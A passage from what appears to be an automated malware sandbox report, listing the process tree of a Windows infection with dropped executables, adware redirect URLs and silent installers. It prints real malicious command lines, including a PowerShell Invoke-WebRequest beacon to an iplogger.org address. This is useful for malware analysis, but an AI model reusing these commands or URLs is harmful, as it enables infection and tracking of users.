                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5012 /prefetch:1
                                                                                              10⤵
                                                                                                PID:3144
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
                                                                                                10⤵
                                                                                                  PID:6228
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4880 /prefetch:8
                                                                                                  10⤵
                                                                                                    PID:7120
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5920 /prefetch:1
                                                                                                    10⤵
                                                                                                      PID:4092
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
                                                                                                      10⤵
                                                                                                        PID:5548
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6204 /prefetch:1
                                                                                                        10⤵
                                                                                                          PID:5524
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:1
                                                                                                          10⤵
                                                                                                            PID:4444
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2652 /prefetch:1
                                                                                                            10⤵
                                                                                                              PID:7676
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
                                                                                                              10⤵
                                                                                                                PID:5612
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6240 /prefetch:1
                                                                                                                10⤵
                                                                                                                  PID:5100
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:1
                                                                                                                  10⤵
                                                                                                                    PID:2376
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:1
                                                                                                                    10⤵
                                                                                                                      PID:5796
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6256 /prefetch:1
                                                                                                                      10⤵
                                                                                                                        PID:6820
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
                                                                                                                        10⤵
                                                                                                                          PID:4324
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6108 /prefetch:1
                                                                                                                          10⤵
                                                                                                                            PID:8180
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
                                                                                                                            10⤵
                                                                                                                              PID:7276
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3748 /prefetch:8
                                                                                                                              10⤵
                                                                                                                                PID:5468
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4536 /prefetch:1
                                                                                                                                10⤵
                                                                                                                                  PID:3552
                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6824 /prefetch:1
                                                                                                                                  10⤵
                                                                                                                                    PID:6104
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4612 /prefetch:1
                                                                                                                                    10⤵
                                                                                                                                      PID:3980
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2224,17526962964278607502,8684875195898200163,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6724 /prefetch:1
                                                                                                                                      10⤵
                                                                                                                                        PID:3168
                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
                                                                                                                                      9⤵
                                                                                                                                        PID:5660
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                          10⤵
                                                                                                                                            PID:6580
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851483
                                                                                                                                          9⤵
                                                                                                                                            PID:4740
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                              10⤵
                                                                                                                                                PID:5204
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851513
                                                                                                                                              9⤵
                                                                                                                                                PID:2648
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                  10⤵
                                                                                                                                                    PID:5844
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=2087215
                                                                                                                                                  9⤵
                                                                                                                                                    PID:592
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                      10⤵
                                                                                                                                                        PID:6220
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=4263119
                                                                                                                                                      9⤵
                                                                                                                                                        PID:1604
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                          10⤵
                                                                                                                                                            PID:3288
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=1294231
                                                                                                                                                          9⤵
                                                                                                                                                            PID:3176
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                              10⤵
                                                                                                                                                                PID:5900
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\32-dfbd0-7c3-ffa93-56924b24d92eb\Xaecelodyme.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\32-dfbd0-7c3-ffa93-56924b24d92eb\Xaecelodyme.exe"
                                                                                                                                                            8⤵
                                                                                                                                                              PID:7872
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\br01nqei.sbn\GcleanerEU.exe /eufive & exit
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:1512
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\br01nqei.sbn\GcleanerEU.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\br01nqei.sbn\GcleanerEU.exe /eufive
                                                                                                                                                                    10⤵
                                                                                                                                                                      PID:7544
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 260
                                                                                                                                                                        11⤵
                                                                                                                                                                        • Program crash
                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                        PID:6444
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bzpq2moe.lc3\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:1588
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bzpq2moe.lc3\installer.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\bzpq2moe.lc3\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                        10⤵
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                        • Modifies system certificate store
                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                        PID:3436
                                                                                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                          "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\bzpq2moe.lc3\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\bzpq2moe.lc3\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631826478 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                          11⤵
                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                          PID:4808
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2xk4slrv.iyj\anyname.exe & exit
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:5960
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2xk4slrv.iyj\anyname.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2xk4slrv.iyj\anyname.exe
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:5968
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vgnlflmt.fdo\gcleaner.exe /mixfive & exit
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:5444
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\vgnlflmt.fdo\gcleaner.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\vgnlflmt.fdo\gcleaner.exe /mixfive
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:7408
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 7408 -s 260
                                                                                                                                                                                11⤵
                                                                                                                                                                                • Program crash
                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                PID:6256
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nb12mm3l.qsi\autosubplayer.exe /S & exit
                                                                                                                                                                            9⤵
                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                            PID:4892
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Thu2094524d5e5b.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:2916
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu2094524d5e5b.exe
                                                                                                                                                                    Thu2094524d5e5b.exe
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:4668
                                                                                                                                                                    • C:\Users\Admin\Documents\8Dx6G3rKa1KwUk2IIbKkP0kn.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\8Dx6G3rKa1KwUk2IIbKkP0kn.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:6116
                                                                                                                                                                    • C:\Users\Admin\Documents\aZjctWgsHV6P7KIx1G1_opKn.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\aZjctWgsHV6P7KIx1G1_opKn.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:6168
                                                                                                                                                                        • C:\Users\Admin\Documents\aZjctWgsHV6P7KIx1G1_opKn.exe
                                                                                                                                                                          C:\Users\Admin\Documents\aZjctWgsHV6P7KIx1G1_opKn.exe
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:668
                                                                                                                                                                        • C:\Users\Admin\Documents\66iEvB15JkPyDpu_lDRZ_EoF.exe
                                                                                                                                                                          "C:\Users\Admin\Documents\66iEvB15JkPyDpu_lDRZ_EoF.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                          PID:6156
                                                                                                                                                                        • C:\Users\Admin\Documents\saEZ8ue4EJMdZOE00Tlskv1P.exe
                                                                                                                                                                          "C:\Users\Admin\Documents\saEZ8ue4EJMdZOE00Tlskv1P.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:512
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 512 -s 280
                                                                                                                                                                              7⤵
                                                                                                                                                                              • Program crash
                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                              PID:1812
                                                                                                                                                                          • C:\Users\Admin\Documents\F_lk_JaGzqtWoJkiAsw334Fw.exe
                                                                                                                                                                            "C:\Users\Admin\Documents\F_lk_JaGzqtWoJkiAsw334Fw.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:4576
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "cmd" /c start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1ZpGf7"
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:6888
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\wwi.exe
                                                                                                                                                                                    "wwi.exe"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                    PID:5036
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\wwl.exe
                                                                                                                                                                                    "wwl.exe"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                    PID:6680
                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1ZpGf7"
                                                                                                                                                                                    8⤵
                                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                                    PID:4356
                                                                                                                                                                              • C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe
                                                                                                                                                                                "C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:3956
                                                                                                                                                                                  • C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe
                                                                                                                                                                                    C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe
                                                                                                                                                                                    7⤵
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    PID:1592
                                                                                                                                                                                    • C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe
                                                                                                                                                                                      C:\Users\Admin\Documents\aqXGRcOEiqeVjT5h8ANlzcbl.exe
                                                                                                                                                                                      8⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                      PID:6168
                                                                                                                                                                                • C:\Users\Admin\Documents\PP52qmXUTM7Tv2iJbzl6a1AZ.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\PP52qmXUTM7Tv2iJbzl6a1AZ.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:5020
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 280
                                                                                                                                                                                    7⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                    PID:4644
                                                                                                                                                                                • C:\Users\Admin\Documents\RXWlUzceBvHUn0peqGPbQAKl.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\RXWlUzceBvHUn0peqGPbQAKl.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:5008
                                                                                                                                                                                • C:\Users\Admin\Documents\iGbH4EiaZ3gaqs7k2DiSILET.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\iGbH4EiaZ3gaqs7k2DiSILET.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:6064
                                                                                                                                                                                • C:\Users\Admin\Documents\qOtYy6HWbFjWL0hSDSYFLkzM.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\qOtYy6HWbFjWL0hSDSYFLkzM.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                  PID:5852
                                                                                                                                                                                • C:\Users\Admin\Documents\EII6ojE_T8XvHDppg6GzRkkh.exe
